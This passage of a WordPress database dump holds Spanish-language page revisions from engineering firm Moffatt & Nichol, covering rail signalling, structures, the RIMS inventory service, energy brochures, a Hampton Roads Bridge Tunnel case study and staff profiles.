src=\"http://moffattnichol.com/spanish/wp-content/uploads/2011/11/alamedacorridor_250X1891.jpg\" alt=\"\" width=\"250\" height=\"189\" /></a></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"9\">gestión de programa</h1>\r\nEl equipo de Moffatt &amp; Nichol toma la visión de nuestros clientes y los guía para desarrollar, implementar y supervisar un programa exitoso en funcionamiento. Únicos en la industria, ofrecemos experiencia profesional interna en las áreas de estudios económicos y de mercado, gestión de autorizaciones ambientales, servicios de ingeniería, estructuras, inspección y rehabilitación, señalización y servicios mecánicos.\r\n\r\nLas relaciones que la firma tiene con organismos gubernamentales nacionales y locales, con compañías de ferrocarriles Clase 1 y de líneas cortas y con organismos nacionales y locales de trenes de pasajeros ayudan a nuestros clientes en la coordinación de la aprobación de sus programas. También tenemos relaciones bien establecidas con consultores especialistas que aportan valor agregado y aseguran que el proyecto se realice exitosamente.\r\n\r\nLos clientes de Moffatt &amp; Nichol tienen un solo punto de contacto, lo que elimina las diferentes rutas de comunicación y proporciona acceso a expertos reconocidos en sus respectivos campos. Proporcionamos soluciones innovadoras e integradas para posicionar a nuestros clientes en el exitoso futuro del ferrocarril.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/signalisation.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"10\">señalización</h1>\r\nLa seguridad nunca es más importante que en el lugar en que el público y el ferrocarril se cruzan: el cruce a nivel. Moffatt &amp; Nichol ha proporcionado parámetros de señales para todos los niveles de servicio ferroviario, así como novedosos métodos de ingeniería para señalización de cruces a nivel que han disminuido los incidentes que son producto de colisiones de vehículos y trenes.\r\n\r\nLos estudios de señalización de Moffatt &amp; Nichol incluyen:\r\n<ul>\r\n	<li>Separación del tráfico</li>\r\n	<li>Zona reservada</li>\r\n	<li>Zona de seguridad del corredor</li>\r\n	<li>Señalización pasiva</li>\r\n	<li>Inventario</li>\r\n	<li>Modelación de vías férreas-carretera</li>\r\n	<li>Análisis de operaciones de ferrocarriles</li>\r\n</ul>\r\n \r\nLa firma participa regularmente en proyectos que requieren la determinación de la protección de pasos más adecuada. Los proyectos incluyen reactivaciones de corredores de trenes, proyectos de seguridad de corredores, proyectos de estaciones, realineaciones de vías férreas, programas de mejora del transporte del Departamento de Transporte de EE.UU. (DOT, por sus siglas en inglés), estudios de impacto de tráfico, análisis de operaciones de ferrocarriles y estudios de tránsito. Todos los cruces a nivel son diferentes y una sola aplicación no es apropiada para todos. Nuestro equipo tiene la experiencia y los conocimientos profesionales para determinar las mejores alternativas a fin de ofrecer la mayor protección para cualquier cruce a nivel.\r\n\r\nAdemás de realizar el diagnóstico de la señal y de localizar problemas de señales de paso defectuosas, el equipo de expertos en ferrocarriles puede realizar inspecciones anuales y mensuales de la señal FRA (Administración Federal de Ferrocarriles de Estados Unidos), así como pruebas del relé y cable FRA, lo que incluye la documentación necesaria a los niveles federal y estatal.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/services/bridges/structures.jpg\" alt=\"\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"11\">estructuras</h1>\r\nLa experiencia en ingeniería estructural de Moffatt &amp; Nichol desempeña un papel importante en el desarrollo de corredores de trenes, así como en la mejora del flujo de mercancías mediante la consolidación de los cruces a nivel. La firma proporciona servicios como el principal diseñador de servicios auxiliares para proyectos de pasos a desnivel, así como estructuras de puentes para ferrocarriles y estructuras de retención para medidas de mitigación sísmica.\r\n\r\nHemos trabajado con organismos gubernamentales nacionales, estatales y locales, así como con compañías de ferrocarriles Clase 1 y organismos de trenes de pasajeros, para facilitar las realineaciones de calles locales, cierres, modificaciones de intersecciones, construcción de desvíos del tráfico, desvíos temporales de trenes (vías férreas temporales), reubicaciones de equipos de servicios públicos y mejoras importantes a drenajes pluviales. Nuestro enfoque es atenuar los efectos negativos sobre las operaciones ferroviarias, al mismo tiempo que se trabaja en el paso a desnivel.\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n<div class=\"global-services_two\">\r\n<div class=\"ports_left\">\r\n<div class=\"box_green-ports\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/RIMS.jpg\" alt=\"\" width=\"250\" height=\"189\" border=\"0\" /></div>\r\n</div>\r\n<div class=\"ports-harbours-right\">\r\n<h1 id=\"12\">RIMS (Sistema de Gestión de Inventario de Ferrocarriles)</h1>\r\nRIMS es un servicio en la nube que permite que los encargados del inventario del ferrocarril realicen su trabajo más rápida y fácilmente. La Ley de mejora de seguridad ferroviaria de 2008 ordenó que la base de datos del inventario nacional sea actualizada anualmente. El personal de RIMS es experto en la industria de seguridad de cruces de carreteras y trenes y diseñó RIMS desde cero para cumplir requisitos específicos del programa de seguridad de cruces.\r\n\r\nRIMS es más que una plataforma tecnológica, es el grupo de expertos que lo respalda. Asumimos la tarea de asegurarnos que sus datos sean introducidos a la base de datos nacional. Como es un servicio en la nube, puede acceder a RIMS desde cualquier lugar. Desde su escritorio, un hotel, su casa, su teléfono celular, en el campo o desde un iPad. Incluso hay un acceso limitado al funcionar sin conexión a Internet. Donde sea que vaya, RIMS puede ir con usted. Con RIMS, nunca tendrá que volver a imprimir la información del inventario. Ahorre tiempo y dinero reduciendo la cantidad de documentos.\r\n\r\n<strong>Características:</strong>\r\n<ul>\r\n	<li>Cumple con la ley RSIA del 2008</li>\r\n	<li>Nos permite enviar sus datos a FRA</li>\r\n	<li>Como se aloja en la nube, no requiere ningún mantenimiento del servidor</li>\r\n	<li>Permite ingresar datos en la mayoría de dispositivos con conexión a Internet</li>\r\n	<li>Imprime formularios del inventario con los cambios marcados</li>\r\n	<li>Descarga sus datos en cualquier momento en muchos formatos</li>\r\n	<li>Califica los cruces usando funciones de índice de riesgo</li>\r\n	<li>Usted controla quién tiene acceso a sus datos</li>\r\n	<li>Comparte el ingreso de datos entre entidades estatales y del ferrocarril</li>\r\n</ul>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio \" href=\"#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Servicios ferroviarios','','inherit','open','open','','651-revision-3','','','2012-06-15 07:05:15','2012-06-15 07:05:15','',651,'http://moffattnichol.com/spanish/651-revision-3/',0,'revision','',0),(2559,1,'2012-06-15 08:31:51','2012-06-15 08:31:51','<div class=\"content_faq\"> [anything_slides cat=energy width=588 height=300  delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]\r\n  <div class=\"ports-left\">\r\n    <h3>energía</h3> Como las economías y las políticas medioambientales cambian y se modifican en todo el mundo, el sector de energía debe adaptarse. Durante décadas, Moffatt & Nichol ha sido un consultor líder en la industria que aborda las necesidades específicas de las terminales marítimas costa afuera y cercanas a la costa para la industria del petróleo y el gas, desde muelles y dársenas hasta cimentaciones profundas, instalaciones costa afuera flotantes, terminales de carga líquida a granel y de GNL y sistemas de amarre costa afuera. Hemos aprovechado esta experiencia, junto con nuestra familiaridad con los procesos costeros, las soluciones de amortiguación, las estructuras dinámicas y la modelación de cimentaciones, para colaborar con clientes en afrontar los desafíos de proyectos de energía convencional y renovable—desde la infraestructura civil necesaria para la generación de energía convencional hasta el planeamiento y diseño de fuentes más innovadoras tales como el almacenamiento de energía eólica costa afuera, la energía hidrocinética y la energía eólica de aguas profundas.\r\n    <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/energy/energy-services/\">Examinar servicios de energía >></a></div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-ports\">\r\n    <h3>publicaciones relevantes</h3>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-1.jpg\" /></div>\r\n      <div class=\"bordhure-text\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n        <strong class=\"green-new\">Folleto de Instalaciones marítimas de petróleo y gas	</strong><br />\r\n        Durante décadas, Moffatt & Nichol ha sido un consultor líder en la industria que abordaba las necesidades específicas de las terminales marítimas costa afuera y cercanas a la costa de</div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/oil-gas-qualifications/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/OIL%20AND%20GAS%20MAY%202011-PORTAL.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-7.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DESCRIPTIVO DE ENERGÍA EÓLICA</strong><br />\r\n        Moffatt & Nichol está posicionado en forma singular para ayudar a nuestros clientes a afrontar los desafíos de proyectos de desarrollo de energía eólica, tanto en tierra como costa afuera. Combinamos nuestro </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/wind-power-overview-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Wind_Power_Overview_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-5.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE DISEÑO DE LA SUBESTRUCTURA DE GENERADOR DE TURBINA EÓLICA (WTG) COSTA AFUERA</strong><br />\r\n       Moffatt & Nichol aporta las capacidades y experiencia para diseñar subestructuras optimizadas costa afuera para apoyar el desarrollo</div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-wtg-substructure-design-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_WTG_Substructure_Design_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n    <div class=\"brochure-last\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-4.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE PUERTOS DE ACCESO A PARQUES EÓLICOS COSTA AFUERA</strong><br />\r\n        Moffatt & Nichol es la firma principal de planeamiento y diseño para el desarrollo de puertos y terminales marítimas en Norteamérica y es una de las principales firmas a nivel mundial </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-wind-farm-staging-ports-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_Wind_Farm_Staging_Ports_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n  </div>\r\n  <div class=\"brochure-wrapper-ports\">\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE DISEÑO DE PLATAFORMAS DE SUBESTACIONES ELÉCTRICAS COSTA AFUERA</strong><br />\r\n        El conocimiento de la ingeniería marítima/costa afuera y la comprensión de las necesidades de los parques eólicos costa afuera de Moffatt & Nichol proporciona </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-electrical-substation-platform-design-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_Electrical_Substation_Platform_Design_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-3.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE LA GESTIÓN DE PROGRAMA DE PARQUES EÓLICOS COSTA AFUERA</strong><br />\r\n        El desarrollo eólico costa afuera crea muchos desafíos para los desarrolladores. La industria y las regulaciones están en cambio constantemente. Las percepciones </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-wind-farm-program-management-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_Wind_Farm_Program_Management_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-6.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE SERVICIOS CONSULTIVOS COMERCIALES DE PARQUES EÓLICOS</strong><br />\r\n        Los servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marítimo y de infraestructura de la firma y ofrecen un conjunto de</div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/wind-farm-commercial-advisory-services-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Wind_Farm_Commercial_Advisory_Services_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n    <div class=\"brochure-last\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-8.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO de Almacenamiento de Energía de Aire Comprimido del Océano (OCAES, por sus siglas en inglés)</strong><br />\r\n        ¿Qué es OCAES? TRES COMPONENTES CLAVE: Innovadora tecnología de compresor/expansor GCAES™ • Con base en la costa • Modular\r\n       </div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/ocean-compressed-air-energy-storage-bochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/OCAES Brochure-PRINTABLE.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n  </div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\r\n','Energía','','inherit','open','open','','60-revision-8','','','2012-06-15 08:31:51','2012-06-15 08:31:51','',60,'http://moffattnichol.com/spanish/60-revision-8/',0,'revision','',0),(2560,1,'2012-05-30 10:44:55','2012-05-30 10:44:55','<div class=\"banner-space\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/featured-solution.jpg\" alt=\"\" /></div>\r\n<div class=\"ports-left\">\r\n<h1>soluciÃ³n creativa presentada</h1>\r\n<p style=\"text-align: left;\">Parcialmente tÃºnel, parcialmente puente, el Hampton Roads Bridge Tunnel (HRBT) I-64 tiene un lugar en la historia como hito en la ingenierÃa: es el primer tÃºnel sumergido en el mundo conectado con islas artificiales. En 1957, se inaugurÃ³ el HRBT de dos carriles y 3,5 millas (5,6 km) de longitud, ofreciendo a los conductores de la zona una ruta directa desde Norfolk hasta Hampton, Virginia, sin tener que esperar por un transbordador ni tener que conducir rodeando el agua.</p>\r\n<p style=\"text-align: left;\">El HRBT sirve hoy en dÃa a cerca de tres millones de vehÃculos al mes, como uno de la familia de 10 puentes y puentes-tÃºneles que ayudan a los conductores a navegar el puerto de Hampton Road, por encima y por debajo de los canales de navegaciÃ³n. En el HRBT, los volÃºmenes de trÃ¡fico superan los 100.000 vehÃculos durante la estaciÃ³n turÃstica, por lo que los planificadores han comenzado a buscar alternativas para mantener el flujo del pÃºblico en movimiento a travÃ©s del puente-tÃºnel.</p>\r\n<p style=\"text-align: left;\">Moffatt &amp; Nichol, aportando su experiencia en diseÃ±o de puentes y frentes costeros, trabajÃ³ como miembro del equipo consultor para un estudio de factibilidad en el aÃ±o 2008 que explorÃ³ la mejora del nivel de servicio del HRBT. El Departamento de Transporte de Virginia (VDOT, por sus siglas en inglÃ©s) identificÃ³ seis alternativas posibles que agregarÃan carriles usando una soluciÃ³n de puente o tÃºnel para atenuar la recurrente congestiÃ³n. Moffatt &amp; Nichol proporcionÃ³ la informaciÃ³n del diseÃ±o conceptual para estas alternativas de puente de alto nivel.</p>\r\n<p style=\"text-align: left;\">Aunque aÃºn no se ha realizado una selecciÃ³n, VDOT continÃºa estudiando el corredor HRBT y recientemente solicitÃ³ un Informe de impacto medioambiental en apoyo de los estudios para las mejoras.</p>\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Soluciones prÃ¡cticas presentadas','','inherit','open','open','','1431-revision-3','','','2012-05-30 10:44:55','2012-05-30 10:44:55','',1431,'http://moffattnichol.com/spanish/1431-revision-3/',0,'revision','',0),(2561,1,'2012-06-19 11:53:01','2012-06-19 11:53:01','<div class=\"banner-space\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/featured-solution.jpg\" alt=\"\" /></div>\r\n<div class=\"ports-left\">\r\n<h1>solución creativa presentada</h1>\r\n<p style=\"text-align: left;\">Parcialmente túnel, parcialmente puente, el Hampton Roads Bridge Tunnel (HRBT) I-64 tiene un lugar en la historia como hito en la ingeniería: es el primer túnel sumergido en el mundo conectado con islas artificiales. En 1957, se inauguró el HRBT de dos carriles y 3,5 millas (5,6 km) de longitud, ofreciendo a los conductores de la zona una ruta directa desde Norfolk hasta Hampton, Virginia, sin tener que esperar por un transbordador ni tener que conducir rodeando el agua.</p>\r\n<p style=\"text-align: left;\">El HRBT sirve hoy en día a cerca de tres millones de vehículos al mes, como uno de la familia de 10 puentes y puentes-túneles que ayudan a los conductores a navegar el puerto de Hampton Road, por encima y por debajo de los canales de navegación. En el HRBT, los volúmenes de tráfico superan los 100.000 vehículos durante la estación turística, por lo que los planificadores han comenzado a buscar alternativas para mantener el flujo del público en movimiento a través del puente-túnel.</p>\r\n<p style=\"text-align: left;\">Moffatt &amp; Nichol, aportando su experiencia en diseño de puentes y frentes costeros, trabajó como miembro del equipo consultor para un estudio de factibilidad en el año 2008 que exploró la mejora del nivel de servicio del HRBT. El Departamento de Transporte de Virginia (VDOT, por sus siglas en inglés) identificó seis alternativas posibles que agregarían carriles usando una solución de puente o túnel para atenuar la recurrente congestión. Moffatt &amp; Nichol proporcionó la información del diseño conceptual para estas alternativas de puente de alto nivel.</p>\r\n<p style=\"text-align: left;\">Aunque aún no se ha realizado una selección, VDOT continúa estudiando el corredor HRBT y recientemente solicitó un Informe de impacto medioambiental en apoyo de los estudios para las mejoras.</p>\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n</div>\r\n<div class=\"topbtn\"><a title=\"Volver al principio\" href=\"#top\">Volver al principio</a></div>','Soluciones prácticas presentadas','','inherit','open','open','','1431-autosave','','','2012-06-19 11:53:01','2012-06-19 11:53:01','',1431,'http://moffattnichol.com/spanish/1431-autosave/',0,'revision','',0),(2564,1,'2012-01-06 06:10:30','2012-01-06 06:10:30','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Matt.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Matt.jpg\" alt=\"\" title=\"Matt\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1600\" /></a>\nUniversidad de California, San Diego \n\nMatt estÃ¡ dedicÃ¡ndose actualmente a obtener una maestrÃa en ingenierÃa estructural en la Universidad de California, San Diego. Obtuvo un grado de ingeniero civil de la Universidad Estatal PolitÃ©cnica de California, San Luis Obispo. Matt se unirÃ¡ a la oficina de San Diego y trabajarÃ¡ de cerca con el grupo estructural.\n \nMatt decidiÃ³ estudiar ingenierÃa porque disfruta la mezcla de creatividad, sentido prÃ¡ctico y pensamiento analÃtico que se requiere para solucionar los desafÃos de ingenierÃa. DespuÃ©s de una pasantÃa en Moffatt & Nichol los dos Ãºltimos veranos, Matt ha trabajado con varios proyectos de ingenierÃa estructural, desde un puente de acero hasta caballetes de carga de concreto y madera. Con cada proyecto, ha aprendido lecciones importantes que no habrÃa aprendido en sus clases. En su tiempo libre, Matt disfruta de pasar tiempo al aire libre, ya sea de excursiÃ³n o en bicicleta de montaÃ±a. DespuÃ©s de terminar sus estudios de posgrado, espera tener un poco mÃ¡s de tiempo libre los fines de semana. ','Matt','<p class=\"para-text\">\n<strong> Matt,</strong>\nUniversidad de California, San Diego Matt estÃ¡ dedicÃ¡ndose actualmente a obtener una maestrÃa en ingenierÃa estructural en la Universidad de California, San Diego. Obtuvo un grado de ingeniero civil de la Universidad Estatal PolitÃ©cnica de California, San Luis Obispo. Matt se unirÃ¡ a la oficina de San Diego y trabajarÃ¡ de cerca con el grupo estructural. .<p>','inherit','open','open','','1477-revision','','','2012-01-06 06:10:30','2012-01-06 06:10:30','',1477,'http://moffattnichol.com/spanish/1477-revision/',0,'revision','',0),(2565,1,'2012-06-20 04:00:41','2012-06-20 04:00:41','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Matt.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Matt.jpg\" alt=\"\" title=\"Matt\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1600\" /></a>\r\nUniversidad de California, San Diego \r\n\r\nMatt está dedicándose actualmente a obtener una maestría en ingeniería estructural en la Universidad de California, San Diego. Obtuvo un grado de ingeniero civil de la Universidad Estatal Politécnica de California, San Luis Obispo. Matt se unirá a la oficina de San Diego y trabajará de cerca con el grupo estructural.\r\n \r\nMatt decidió estudiar ingeniería porque disfruta la mezcla de creatividad, sentido práctico y pensamiento analítico que se requiere para solucionar los desafíos de ingeniería. Después de una pasantía en Moffatt & Nichol los dos últimos veranos, Matt ha trabajado con varios proyectos de ingeniería estructural, desde un puente de acero hasta caballetes de carga de concreto y madera. Con cada proyecto, ha aprendido lecciones importantes que no habría aprendido en sus clases. En su tiempo libre, Matt disfruta de pasar tiempo al aire libre, ya sea de excursión o en bicicleta de montaña. Después de terminar sus estudios de posgrado, espera tener un poco más de tiempo libre los fines de semana.','Matt','<p class=\"para-text\">\r\n<strong> Matt,</strong>\r\nUniversidad de California, San Diego Matt estÃ¡ dedicÃ¡ndose actualmente a obtener una maestrÃa en ingenierÃa estructural en la Universidad de California, San Diego. Obtuvo un grado de ingeniero civil de la Universidad Estatal PolitÃ©cnica de California, San Luis Obispo. Matt se unirÃ¡ a la oficina de San Diego y trabajarÃ¡ de cerca con el grupo estructural. .<p>','inherit','open','open','','1477-autosave','','','2012-06-20 04:00:41','2012-06-20 04:00:41','',1477,'http://moffattnichol.com/spanish/1477-autosave/',0,'revision','',0),(2568,1,'2012-06-20 04:00:25','2012-06-20 04:00:25','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Matt.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/01/Matt.jpg\" alt=\"\" title=\"Matt\" width=\"150\" height=\"152\" class=\"alignnone size-full wp-image-1600\" /></a>\r\nUniversidad de California, San Diego \r\n\r\nMatt está dedicándose actualmente a obtener una maestría en ingeniería estructural en la Universidad de California, San Diego. Obtuvo un grado de ingeniero civil de la Universidad Estatal Politécnica de California, San Luis Obispo. Matt se unirá a la oficina de San Diego y trabajará de cerca con el grupo estructural.\r\n \r\nMatt decidió estudiar ingeniería porque disfruta la mezcla de creatividad, sentido práctico y pensamiento analítico que se requiere para solucionar los desafíos de ingeniería. Después de una pasantía en Moffatt & Nichol los dos últimos veranos, Matt ha trabajado con varios proyectos de ingeniería estructural, desde un puente de acero hasta caballetes de carga de concreto y madera. Con cada proyecto, ha aprendido lecciones importantes que no habría aprendido en sus clases. En su tiempo libre, Matt disfruta de pasar tiempo al aire libre, ya sea de excursión o en bicicleta de montaña. Después de terminar sus estudios de posgrado, espera tener un poco más de tiempo libre los fines de semana.','Matt','<p class=\"para-text\">\r\n<strong> Matt,</strong>\r\nUniversidad de California, San Diego Matt estÃ¡ dedicÃ¡ndose actualmente a obtener una maestrÃa en ingenierÃa estructural en la Universidad de California, San Diego. Obtuvo un grado de ingeniero civil de la Universidad Estatal PolitÃ©cnica de California, San Luis Obispo. Matt se unirÃ¡ a la oficina de San Diego y trabajarÃ¡ de cerca con el grupo estructural. .<p>','inherit','open','open','','1477-revision-2','','','2012-06-20 04:00:25','2012-06-20 04:00:25','',1477,'http://moffattnichol.com/spanish/1477-revision-2/',0,'revision','',0),(2569,1,'2012-07-09 06:17:25','2012-07-09 06:17:25','<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/07/Brad-new.jpg\"><img src=\"http://moffattnichol.com/spanish/wp-content/uploads/2012/07/Brad-new.jpg\" alt=\"Brad\" title=\"Brad\" width=\"150\" height=\"150\" class=\"size-full wp-image-2581\" /></a>\r\n<p class=\"para-text\">\r\n<strong>Brad</strong>\r\nGerente de proyecto/Ingeniero costero principal\r\n\r\n<strong>¿Cuánto tiempo ha trabajado con Moffatt & Nichol?</strong>\r\n15 años\r\n \r\n<strong>¿Cómo llegó a la compañía?</strong>\r\nQuería formar parte de Moffatt & Nichol desde que estaba haciendo estudios de postgrado en ingeniería costera en 1985. La compañía era muy conocida por el excelente trabajo costero en la costa oeste, pero su única oficina estaba situada en la zona metropolitana de Los Ángeles, y yo no quería vivir allí. Unos 12 años después de la graduación me encontraba terminando un proyecto de 3 años en el que había estado trabajando en Boise, Idaho, y me puse a pensar en la posibilidad de regresar a California o quedarme en Idaho. Mi madre, que vive en California, quería animarnos a mí y a mis hijos (sus 2 nietos) a volver, y empezó a enviarme los anuncios para puestos de ingeniero que veía en el periódico. El primer anuncio que me envió fue el de un cargo en Moffatt & Nichol, empresa de la que ella no sabía nada. ¡Creo que era mi destino! Respondí al anuncio, me entrevisté con un equipo muy experimentado de profesionales (todos los cuáles siguen trabajando con la empresa), y me contrataron.  \r\n \r\n<strong>¿Qué le ha mantenido con la compañía por 15 años?</strong>\r\nEsta empresa ofrece la combinación perfecta para mí: trabajo interesante, gente excepcional y una cultura empresarial solidaria y positiva. Me siento muy afortunado de poder hacer lo que me gusta (y sé) hacer.\r\n \r\n<strong>¿Cómo se ha modificado su función desde que se unió a nosotros?</strong> \r\nHe podido trabajar en proyectos importantes, con un equipo de trabajo y colaboración excelentes, y con clientes excepcionales. Poder convertir las ideas en algo tangible ante tus propios ojos es un reto formidable, como lo fue un reciente proyecto de un muelle que diseñamos y que fue construido en sólo 6 meses en modo de vía rápida.  \r\n \r\n<strong>¿En qué tipos de proyecto trabaja o ha trabajado?</strong>\r\nPareciera que tengo la suerte de trabajar en proyectos en lugares muy bellos. Como entusiasta del ciclismo y de las actividades al aire libre, eso realmente me atrae muchísimo. La verdad es que pareciera que la empresa, en conjunto, funciona en lugares maravillosos. Pero también me he ganado mi lugar haciendo ciertas cosas, por ejemplo: ¡una inmersión en diciembre en aguas a 10 ºC y visibilidad casi nula!\r\n \r\n<strong>¿Cómo describiría el ambiente de trabajo?</strong>\r\nAutonomía excepcional y organización horizontal única. La administración comparte los beneficios y los elogios, así como también respeta a las personas y la flexibilidad del trabajo. También me complacen los esfuerzos de reconocer y dar visibilidad a las personas, porque eso nos hace sentir valorados.\r\n\r\n<strong>¿Qué separa a Moffatt & Nichol de la competencia?</strong>\r\nEl respeto que la empresa tiene para sus empleados, como se evidencia en el bajo volumen de rotación de personal y el talento excepcional. La creatividad de sus miembros… la afirmación de soluciones prácticas realmente es cierta. Además, no hay división entre la administración y los empleados. La empresa demuestra respeto por sus empleados (verdadero respeto, no ese \"respeto\" vacío del que frecuentemente se jactan otras compañías).\r\n</p>','Brad','<p class=\"para-text\">\r\n<strong> Brad</strong>\r\nGerente de proyecto/Ingeniero costero principal\r\n<strong>¿Cuánto tiempo ha trabajado con Moffatt & Nichol?</strong>\r\n15 años\r\n<strong>¿Cómo llegó a la compañía?</strong>\r\nQuería formar parte de Moffatt & Nichol desde que estaba haciendo estudios de postgrado en ingeniería costera en 1985. La compañía era muy conocida…</p>\r\n','publish','open','open','','brad','','','2013-01-29 12:39:13','2013-01-29 12:39:13','',0,'http://moffattnichol.com/spanish/?p=2569',0,'post','',0),(2570,1,'2012-07-09 06:16:55','2012-07-09 06:16:55','','Brad-new','','inherit','open','open','','brad-new','','','2012-07-09 06:16:55','2012-07-09 